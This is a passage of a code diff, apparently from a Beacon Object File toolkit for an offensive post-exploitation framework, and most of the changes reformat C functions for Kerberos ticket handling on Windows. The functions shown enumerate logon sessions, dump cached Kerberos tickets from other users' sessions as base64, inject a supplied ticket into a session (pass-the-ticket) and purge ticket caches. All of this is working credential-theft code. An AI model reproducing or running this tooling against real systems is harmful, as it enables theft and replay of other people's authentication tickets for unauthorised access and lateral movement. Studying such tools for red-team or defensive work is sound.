SECUR32$LsaFreeReturnBuffer(sessionData.sessionData[i]);
|
||||
KERB_QUERY_TKT_CACHE_EX_RESPONSE* cacheResponse = NULL;
|
||||
KERB_QUERY_TKT_CACHE_EX_RESPONSE *cacheResponse = NULL;
|
||||
KERB_TICKET_CACHE_INFO_EX cacheInfo;
|
||||
ULONG responseSize;
|
||||
NTSTATUS protocolStatus;
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &cacheRequest, sizeof(cacheRequest),
|
||||
&cacheResponse, &responseSize, &protocolStatus);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
if (sessionString != NULL)
|
||||
{
|
||||
MSVCRT$free(sessionString);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// check protocol status?
|
||||
if (cacheResponse == NULL) {
|
||||
if (cacheResponse == NULL)
|
||||
{
|
||||
if (sessionString != NULL)
|
||||
{
|
||||
MSVCRT$free(sessionString);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
int ticketCount = cacheResponse->CountOfTickets;
|
||||
PRINT(dispatch, "[*] Cached tickets: (%d)\n\n", ticketCount);
|
||||
if (ticketCount > 0) {
|
||||
for (int j = 0; j < ticketCount; j++) {
|
||||
if (sessionString != NULL)
|
||||
{
|
||||
PRINT(dispatch, "%s\n\n[*] Cached tickets: (%d)\n\n", sessionString, ticketCount);
|
||||
MSVCRT$free(sessionString);
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to print session.\n\n");
|
||||
}
|
||||
if (ticketCount > 0)
|
||||
{
|
||||
for (int j = 0; j < ticketCount; j++)
|
||||
{
|
||||
cacheInfo = cacheResponse->Tickets[j];
|
||||
PRINT(dispatch, "\t[%d]\n", j);
|
||||
PrintTicketInfo(dispatch, cacheInfo);
|
||||
if (dump) {
|
||||
PRINT(dispatch, "\tTicket : ");
|
||||
char *ticketInfo = NULL;
|
||||
PrintTicketInfo(cacheInfo, &ticketInfo);
|
||||
if (ticketInfo != NULL)
|
||||
{
|
||||
PRINT(dispatch, "\t[%d]\n%s\n", j, ticketInfo);
|
||||
MSVCRT$free(ticketInfo);
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "\t[!] Unable to print ticket info.\n");
|
||||
}
|
||||
|
||||
if (dump)
|
||||
{
|
||||
PUCHAR ticket;
|
||||
ULONG ticketSize;
|
||||
status = ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheInfo.ServerName, &ticket,
|
||||
&ticketSize);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
PRINT(dispatch, "[!] Could not extract the ticket: %ld\n", status);
|
||||
} else {
|
||||
if (ticketSize > 0) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "\t[!] Could not extract a ticket: %ld\n", status);
|
||||
}
|
||||
else
|
||||
{
|
||||
if (ticketSize > 0)
|
||||
{
|
||||
int len = Base64encode_len(ticketSize);
|
||||
char* encoded = (char*)MSVCRT$calloc(len, sizeof(char));
|
||||
if (encoded == NULL) {
|
||||
PRINT(dispatch, "[!] Base64 - could not allocate memory.\n");
|
||||
char *encoded = (char *)MSVCRT$calloc(len, sizeof(char));
|
||||
if (encoded == NULL)
|
||||
{
|
||||
PRINT(dispatch, "\t[!] Could not allocate memory (base64).\n");
|
||||
continue;
|
||||
}
|
||||
Base64encode(encoded, ticket, ticketSize);
|
||||
PRINT(dispatch, "%s\n\n", encoded);
|
||||
PRINT(dispatch, "\tTicket : %s\n\n", encoded);
|
||||
MSVCRT$free(encoded);
|
||||
MSVCRT$free(ticket);
|
||||
}
|
||||
}
|
||||
}
|
||||
PRINT(dispatch, "\n");
|
||||
}
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(cacheResponse);
|
||||
@@ -95,13 +139,15 @@ void execute_klist(WCHAR** dispatch, LUID luid, BOOL currentLuid, BOOL dump) {
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
}
|
||||
|
||||
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket,
|
||||
PULONG ticketSize) {
|
||||
KERB_RETRIEVE_TKT_REQUEST* retrieveRequest = NULL;
|
||||
KERB_RETRIEVE_TKT_RESPONSE* retrieveResponse = NULL;
|
||||
NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR *ticket,
|
||||
PULONG ticketSize)
|
||||
{
|
||||
KERB_RETRIEVE_TKT_REQUEST *retrieveRequest = NULL;
|
||||
KERB_RETRIEVE_TKT_RESPONSE *retrieveResponse = NULL;
|
||||
ULONG responseSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + targetName.MaximumLength;
|
||||
retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST*)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
|
||||
if (retrieveRequest == NULL) {
|
||||
retrieveRequest = (KERB_RETRIEVE_TKT_REQUEST *)MSVCRT$calloc(responseSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
|
||||
if (retrieveRequest == NULL)
|
||||
{
|
||||
return STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage;
|
||||
@@ -118,73 +164,156 @@ NTSTATUS ExtractTicket(HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, retrieveRequest, responseSize, &retrieveResponse,
|
||||
&responseSize, &protocolStatus);
|
||||
MSVCRT$free(retrieveRequest);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(protocolStatus)) {
|
||||
if (responseSize > 0) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
if (NT_SUCCESS(protocolStatus))
|
||||
{
|
||||
if (responseSize > 0)
|
||||
{
|
||||
ULONG size = retrieveResponse->Ticket.EncodedTicketSize;
|
||||
PUCHAR returnTicket = (PUCHAR)MSVCRT$calloc(size, sizeof(UCHAR));
|
||||
if (returnTicket != NULL) {
|
||||
if (returnTicket != NULL)
|
||||
{
|
||||
_memcpy(returnTicket, retrieveResponse->Ticket.EncodedTicket, size);
|
||||
*ticket = returnTicket;
|
||||
*ticketSize = size;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(retrieveResponse);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void PrintTicketFlags(WCHAR** dispatch, ULONG ticketFlags) {
|
||||
void PrintTicketFlags(ULONG ticketFlags, char **flagsString)
|
||||
{
|
||||
char *flags[16] = {
|
||||
"name_canonicalize ",
|
||||
"anonymous ",
|
||||
"ok_as_delegate ",
|
||||
"? ",
|
||||
"hw_authent ",
|
||||
"pre_authent ",
|
||||
"initial ",
|
||||
"renewable ",
|
||||
"invalid ",
|
||||
"postdated ",
|
||||
"may_postdate ",
|
||||
"proxy ",
|
||||
"proxiable ",
|
||||
"forwarded ",
|
||||
"forwardable ",
|
||||
"reserved "};
|
||||
|
||||
char* flags[16] = {
|
||||
"name_canonicalize",
|
||||
"anonymous",
|
||||
"ok_as_delegate",
|
||||
"?",
|
||||
"hw_authent",
|
||||
"pre_authent",
|
||||
"initial",
|
||||
"renewable",
|
||||
"invalid",
|
||||
"postdated",
|
||||
"may_postdate",
|
||||
"proxy",
|
||||
"proxiable",
|
||||
"forwarded",
|
||||
"forwardable",
|
||||
"reserved"
|
||||
};
|
||||
*flagsString = MSVCRT$malloc(512 * sizeof(char));
|
||||
if (*flagsString == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
for (int i = 0; i < 16; i++) {
|
||||
if ((ticketFlags >> (i + 16)) & 1) {
|
||||
PRINT(dispatch, "%s ", flags[i]);
|
||||
int pos = 0;
|
||||
for (int i = 0; i < 16; i++)
|
||||
{
|
||||
if ((ticketFlags >> (i + 16)) & 1)
|
||||
{
|
||||
_strcpy(*flagsString + pos, flags[i]);
|
||||
pos += _strlen(flags[i]);
|
||||
}
|
||||
}
|
||||
PRINT(dispatch, "(0x%lx)\n", ticketFlags);
|
||||
|
||||
if (FAILED(_StringCchPrintfExA(*flagsString + pos, 21, NULL, NULL, NULL, "(0x%lx)\0", ticketFlags)))
|
||||
{
|
||||
MSVCRT$free(*flagsString);
|
||||
*flagsString = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void PrintTicketInfo(WCHAR** dispatch, KERB_TICKET_CACHE_INFO_EX cacheInfo) {
|
||||
PRINT(dispatch, "\tClient name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ClientName),
|
||||
GetNarrowStringFromUnicode(cacheInfo.ClientRealm));
|
||||
PRINT(dispatch, "\tServer name : %s @ %s\n", GetNarrowStringFromUnicode(cacheInfo.ServerName),
|
||||
GetNarrowStringFromUnicode(cacheInfo.ServerRealm));
|
||||
SYSTEMTIME st_utc = ConvertToSystemtime(cacheInfo.StartTime);
|
||||
PRINT(dispatch, "\tStart time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
st_utc = ConvertToSystemtime(cacheInfo.EndTime);
|
||||
PRINT(dispatch, "\tEnd time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
st_utc = ConvertToSystemtime(cacheInfo.RenewTime);
|
||||
PRINT(dispatch, "\tRenew time : %d/%d/%d %d:%d:%d (UTC)\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
|
||||
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
|
||||
PRINT(dispatch, "\tFlags : ");
|
||||
PrintTicketFlags(dispatch, cacheInfo.TicketFlags);
|
||||
PRINT(dispatch, "\tEncryption type : %s\n", GetEncryptionTypeString(cacheInfo.EncryptionType));
|
||||
void PrintTicketInfo(KERB_TICKET_CACHE_INFO_EX cacheInfo, char **ticketInfo)
|
||||
{
|
||||
char *fmt = "\tClient name : %s @ %s\n"
|
||||
"\tServer name : %s @ %s\n"
|
||||
"\tStart time (UTC) : %d/%d/%d %d:%d:%d\n"
|
||||
"\tEnd time (UTC) : %d/%d/%d %d:%d:%d\n"
|
||||
"\tRenew time (UTC) : %d/%d/%d %d:%d:%d\n"
|
||||
"\tFlags : %s\n"
|
||||
"\tEncryption type : %s\n";
|
||||
|
||||
ANSI_STRING clientName = {0};
|
||||
ANSI_STRING clientRealm = {0};
|
||||
ANSI_STRING serverName = {0};
|
||||
ANSI_STRING serverRealm = {0};
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&clientName, &cacheInfo.ClientName, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&serverName, &cacheInfo.ServerName, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&clientRealm, &cacheInfo.ClientRealm, TRUE);
|
||||
NTDLL$RtlUnicodeStringToAnsiString(&serverRealm, &cacheInfo.ServerRealm, TRUE);
|
||||
SYSTEMTIME startTime = ConvertToSystemtime(cacheInfo.StartTime);
|
||||
SYSTEMTIME endTime = ConvertToSystemtime(cacheInfo.EndTime);
|
||||
SYSTEMTIME renewTime = ConvertToSystemtime(cacheInfo.RenewTime);
|
||||
char *flags = NULL;
|
||||
PrintTicketFlags(cacheInfo.TicketFlags, &flags);
|
||||
char *encTypeString = NULL;
|
||||
GetEncryptionTypeString(cacheInfo.EncryptionType, &encTypeString);
|
||||
|
||||
int size = _strlen(fmt) +
|
||||
clientName.Length +
|
||||
clientRealm.Length +
|
||||
serverName.Length +
|
||||
serverRealm.Length +
|
||||
24 + 24 + 24 + 1;
|
||||
|
||||
if (encTypeString != NULL)
|
||||
{
|
||||
size += _strlen(encTypeString);
|
||||
}
|
||||
|
||||
if (flags != NULL)
|
||||
{
|
||||
size += _strlen(flags);
|
||||
}
|
||||
|
||||
*ticketInfo = MSVCRT$malloc(size * sizeof(char));
|
||||
if (*ticketInfo == NULL)
|
||||
{
|
||||
goto end;
|
||||
}
|
||||
|
||||
HRESULT result = _StringCchPrintfExA(*ticketInfo, size, NULL, NULL, STRSAFE_IGNORE_NULLS, fmt,
|
||||
clientName.Buffer, clientRealm.Buffer,
|
||||
serverName.Buffer, serverRealm.Buffer,
|
||||
startTime.wDay, startTime.wMonth, startTime.wYear, startTime.wHour, startTime.wMinute, startTime.wSecond,
|
||||
endTime.wDay, endTime.wMonth, endTime.wYear, endTime.wHour, endTime.wMinute, endTime.wSecond,
|
||||
renewTime.wDay, renewTime.wMonth, renewTime.wYear, renewTime.wHour, renewTime.wMinute, renewTime.wSecond,
|
||||
flags,
|
||||
encTypeString);
|
||||
|
||||
if (FAILED(result))
|
||||
{
|
||||
MSVCRT$free(*ticketInfo);
|
||||
*ticketInfo = NULL;
|
||||
}
|
||||
end:
|
||||
if (flags != NULL)
|
||||
{
|
||||
MSVCRT$free(flags);
|
||||
}
|
||||
if (encTypeString != NULL)
|
||||
{
|
||||
MSVCRT$free(encTypeString);
|
||||
}
|
||||
NTDLL$RtlFreeAnsiString(&clientName);
|
||||
NTDLL$RtlFreeAnsiString(&serverName);
|
||||
NTDLL$RtlFreeAnsiString(&clientRealm);
|
||||
NTDLL$RtlFreeAnsiString(&serverRealm);
|
||||
}
|
||||
|
||||
+897
-569
File diff suppressed because it is too large
Load Diff
+21
-11
@@ -1,8 +1,10 @@
|
||||
#include "luid.h"
|
||||
|
||||
void execute_luid(WCHAR** dispatch) {
|
||||
LUID* currentLUID = GetCurrentLUID();
|
||||
if (currentLUID == NULL) {
|
||||
void execute_luid(WCHAR **dispatch)
|
||||
{
|
||||
LUID *currentLUID = GetCurrentLUID();
|
||||
if (currentLUID == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
@@ -10,22 +12,30 @@ void execute_luid(WCHAR** dispatch) {
|
||||
MSVCRT$free(currentLUID);
|
||||
}
|
||||
|
||||
LUID* GetCurrentLUID() {
|
||||
LUID *GetCurrentLUID()
|
||||
{
|
||||
TOKEN_STATISTICS tokenStats;
|
||||
DWORD tokenSize;
|
||||
HANDLE hToken = GetCurrentToken(0x8); // TOKEN_QUERY
|
||||
if (hToken != NULL) {
|
||||
if (ADVAPI32$GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize)) {
|
||||
if (hToken != NULL)
|
||||
{
|
||||
if (ADVAPI32$GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &tokenSize))
|
||||
{
|
||||
KERNEL32$CloseHandle(hToken);
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LUID* luid = MSVCRT$calloc(1, sizeof(LUID));
|
||||
if (luid == NULL) {
|
||||
|
||||
LUID *luid = MSVCRT$calloc(1, sizeof(LUID));
|
||||
if (luid == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
luid->HighPart = tokenStats.AuthenticationId.HighPart;
|
||||
|
||||
+33
-18
@@ -1,43 +1,50 @@
|
||||
#include "ptt.h"
|
||||
|
||||
void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) {
|
||||
void execute_ptt(WCHAR **dispatch, char *ticket, LUID luid, BOOL currentLuid)
|
||||
{
|
||||
BOOL highIntegrity = IsHighIntegrity();
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
if (!highIntegrity && !currentLuid)
|
||||
{
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
HANDLE hLsa;
|
||||
if (currentLuid) {
|
||||
if (currentLuid)
|
||||
{
|
||||
// no need to register lsa logon process
|
||||
highIntegrity = FALSE;
|
||||
}
|
||||
NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
|
||||
return;
|
||||
}
|
||||
ULONG authPackage;
|
||||
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
|
||||
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
|
||||
int decoded_len = Base64decode_len(ticket);
|
||||
char* decoded = (char*)MSVCRT$calloc(decoded_len, sizeof(char));
|
||||
if (decoded == NULL) {
|
||||
PRINT(dispatch, "[!] Base64 - could not allocate the memory.\n");
|
||||
char *decoded = (char *)MSVCRT$calloc(decoded_len, sizeof(char));
|
||||
if (decoded == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Could not allocate memory (base64).\n");
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
Base64decode(decoded, ticket);
|
||||
KERB_SUBMIT_TKT_REQUEST* submitRequest = NULL;
|
||||
KERB_SUBMIT_TKT_REQUEST *submitRequest = NULL;
|
||||
int submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + decoded_len;
|
||||
submitRequest = (KERB_SUBMIT_TKT_REQUEST*)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST));
|
||||
if (submitRequest == NULL) {
|
||||
PRINT(dispatch, "[!] KERB_SUBMIT_TKT_REQUEST - could not allocate memory.\n");
|
||||
submitRequest = (KERB_SUBMIT_TKT_REQUEST *)MSVCRT$calloc(submitSize, sizeof(KERB_SUBMIT_TKT_REQUEST));
|
||||
if (submitRequest == NULL)
|
||||
{
|
||||
PRINT(dispatch, "[!] Could not allocate memory (KERB_SUBMIT_TKT_REQUEST).\n");
|
||||
MSVCRT$free(decoded);
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
@@ -45,7 +52,8 @@ void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) {
|
||||
submitRequest->MessageType = KerbSubmitTicketMessage;
|
||||
submitRequest->KerbCredSize = decoded_len;
|
||||
submitRequest->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
|
||||
if (highIntegrity) {
|
||||
if (highIntegrity)
|
||||
{
|
||||
submitRequest->LogonId = luid;
|
||||
}
|
||||
_memcpy((PBYTE)submitRequest + submitRequest->KerbCredOffset, decoded, decoded_len);
|
||||
@@ -55,19 +63,26 @@ void execute_ptt(WCHAR** dispatch, char* ticket, LUID luid, BOOL currentLuid) {
|
||||
PVOID response;
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, submitRequest, submitSize, &response,
|
||||
&responseSize, &protocolStatus);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(protocolStatus)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
if (NT_SUCCESS(protocolStatus))
|
||||
{
|
||||
PRINT(dispatch, "[+] Ticket successfully imported.\n");
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(protocolStatus);
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus: %ld\n", status);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage Status: %ld\n", status);
|
||||
}
|
||||
|
||||
if (submitRequest != NULL) {
|
||||
if (submitRequest != NULL)
|
||||
{
|
||||
MSVCRT$free(submitRequest);
|
||||
}
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
|
||||
+28
-14
@@ -1,54 +1,68 @@
|
||||
#include "purge.h"
|
||||
|
||||
void execute_purge(WCHAR** dispatch, LUID luid, BOOL currentLuid) {
|
||||
void execute_purge(WCHAR **dispatch, LUID luid, BOOL currentLuid)
|
||||
{
|
||||
ULONG authPackage;
|
||||
HANDLE hLsa;
|
||||
void* purgeResponse;
|
||||
void *purgeResponse;
|
||||
ULONG responseSize;
|
||||
NTSTATUS protocolStatus;
|
||||
|
||||
BOOL highIntegrity = IsHighIntegrity();
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
if (!highIntegrity && !currentLuid)
|
||||
{
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (currentLuid) {
|
||||
if (currentLuid)
|
||||
{
|
||||
highIntegrity = FALSE;
|
||||
}
|
||||
|
||||
NTSTATUS status = GetLsaHandle(highIntegrity, &hLsa);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
|
||||
return;
|
||||
}
|
||||
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
|
||||
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
SECUR32$LsaDeregisterLogonProcess(hLsa);
|
||||
return;
|
||||
}
|
||||
KERB_PURGE_TKT_CACHE_REQUEST purgeRequest;
|
||||
purgeRequest.MessageType = KerbPurgeTicketCacheMessage;
|
||||
if (highIntegrity) {
|
||||
if (highIntegrity)
|
||||
{
|
||||
purgeRequest.LogonId = luid;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0};
|
||||
}
|
||||
purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
|
||||
purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1};
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest,
|
||||
sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus);
|
||||
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, &purgeRequest,
|
||||
sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus);
|
||||
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(protocolStatus)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
if (NT_SUCCESS(protocolStatus))
|
||||
{
|
||||
PRINT(dispatch, "[+] Successfully purged tickets.\n");
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage ProtocolStatus %ld\n",
|
||||
ADVAPI32$LsaNtStatusToWinError(protocolStatus));
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] LsaCallAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
|
||||
}
|
||||
|
||||
|
||||
+165
-77
@@ -1,8 +1,10 @@
|
||||
#include "sessions.h"
|
||||
|
||||
void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid) {
|
||||
void execute_sessions(WCHAR **dispatch, LUID luid, BOOL currentLuid)
|
||||
{
|
||||
BOOL highIntegrity = IsHighIntegrity();
|
||||
if (!highIntegrity && !currentLuid) {
|
||||
if (!highIntegrity && !currentLuid)
|
||||
{
|
||||
PRINT(dispatch, "[!] Not in high integrity.\n");
|
||||
return;
|
||||
}
|
||||
@@ -10,126 +12,212 @@ void execute_sessions(WCHAR** dispatch, LUID luid, BOOL currentLuid) {
|
||||
LOGON_SESSION_DATA sessionData;
|
||||
PSECURITY_LOGON_SESSION_DATA data;
|
||||
NTSTATUS status = GetLogonSessionData(luid, &sessionData);
|
||||
|
||||
if (NT_SUCCESS(status)) {
|
||||
for (int i = 0; i < sessionData.sessionCount; i++) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
for (int i = 0; i < sessionData.sessionCount; i++)
|
||||
{
|
||||
data = sessionData.sessionData[i];
|
||||
if (data != NULL) {
|
||||
PrintLogonSessionData(dispatch, *data);
|
||||
if (i != sessionData.sessionCount - 1) {
|
||||
PRINT(dispatch, "\n\n");
|
||||
if (data != NULL)
|
||||
{
|
||||
char *sessionString;
|
||||
PrintLogonSessionData(*data, &sessionString);
|
||||
if (sessionString != NULL)
|
||||
{
|
||||
PRINT(dispatch, "%s\n\n", sessionString);
|
||||
MSVCRT$free(sessionString);
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] Unable to print session.\n\n");
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(data);
|
||||
}
|
||||
}
|
||||
MSVCRT$free(sessionData.sessionData);
|
||||
} else {
|
||||
PRINT(dispatch, "[!] execute_sessions GetLogonSessionData: %ld", status);
|
||||
}
|
||||
else
|
||||
{
|
||||
PRINT(dispatch, "[!] GetLogonSessionData: %ld", status);
|
||||
}
|
||||
}
|
||||
|
||||
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA* data) {
|
||||
NTSTATUS GetLogonSessionData(LUID luid, LOGON_SESSION_DATA *data)
|
||||
{
|
||||
LOGON_SESSION_DATA sessionData;
|
||||
PSECURITY_LOGON_SESSION_DATA logonData = NULL;
|
||||
NTSTATUS status;
|
||||
if (luid.LowPart != 0) {
|
||||
if (luid.LowPart != 0)
|
||||
{
|
||||
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
sessionData.sessionData = MSVCRT$calloc(1, sizeof(*sessionData.sessionData));
|
||||
if (sessionData.sessionData != NULL) {
|
||||
if (sessionData.sessionData != NULL)
|
||||
{
|
||||
sessionData.sessionCount = 1;
|
||||
sessionData.sessionData[0] = logonData;
|
||||
*data = sessionData;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
ULONG logonSessionCount;
|
||||
PLUID logonSessionList;
|
||||
status = SECUR32$LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
sessionData.sessionData = MSVCRT$calloc(logonSessionCount, sizeof(*sessionData.sessionData));
|
||||
if (sessionData.sessionData != NULL) {
|
||||
if (sessionData.sessionData != NULL)
|
||||
{
|
||||
sessionData.sessionCount = logonSessionCount;
|
||||
for (int i = 0; i < logonSessionCount; i++) {
|
||||
for (int i = 0; i < logonSessionCount; i++)
|
||||
{
|
||||
LUID luid = logonSessionList[i];
|
||||
status = SECUR32$LsaGetLogonSessionData(&luid, &logonData);
|
||||
if (NT_SUCCESS(status)) {
|
||||
if (NT_SUCCESS(status))
|
||||
{
|
||||
sessionData.sessionData[i] = logonData;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
sessionData.sessionData[i] = NULL;
|
||||
}
|
||||
}
|
||||
SECUR32$LsaFreeReturnBuffer(logonSessionList);
|
||||
*data = sessionData;
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = STATUS_MEMORY_NOT_ALLOCATED;
|
||||
}
|
||||
} else {
|
||||
}
|
||||
else
|
||||
{
|
||||
status = ADVAPI32$LsaNtStatusToWinError(status);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
char* GetLogonTypeString(ULONG uLogonType) {
|
||||
char* logonType = NULL;
|
||||
switch (uLogonType) {
|
||||
case LOGON32_LOGON_INTERACTIVE:
|
||||
logonType = "Interactive";
|
||||
break;
|
||||
case LOGON32_LOGON_NETWORK:
|
||||
logonType = "Network";
|
||||
break;
|
||||
case LOGON32_LOGON_BATCH:
|
||||
logonType = "Batch";
|
||||
break;
|
||||
case LOGON32_LOGON_SERVICE:
|
||||
logonType = "Service";
|
||||
break;
|
||||
case LOGON32_LOGON_UNLOCK:
|
||||
logonType = "Unlock";
|
||||
break;
|
||||
case LOGON32_LOGON_NETWORK_CLEARTEXT:
|
||||
logonType = "Network_Cleartext";
|
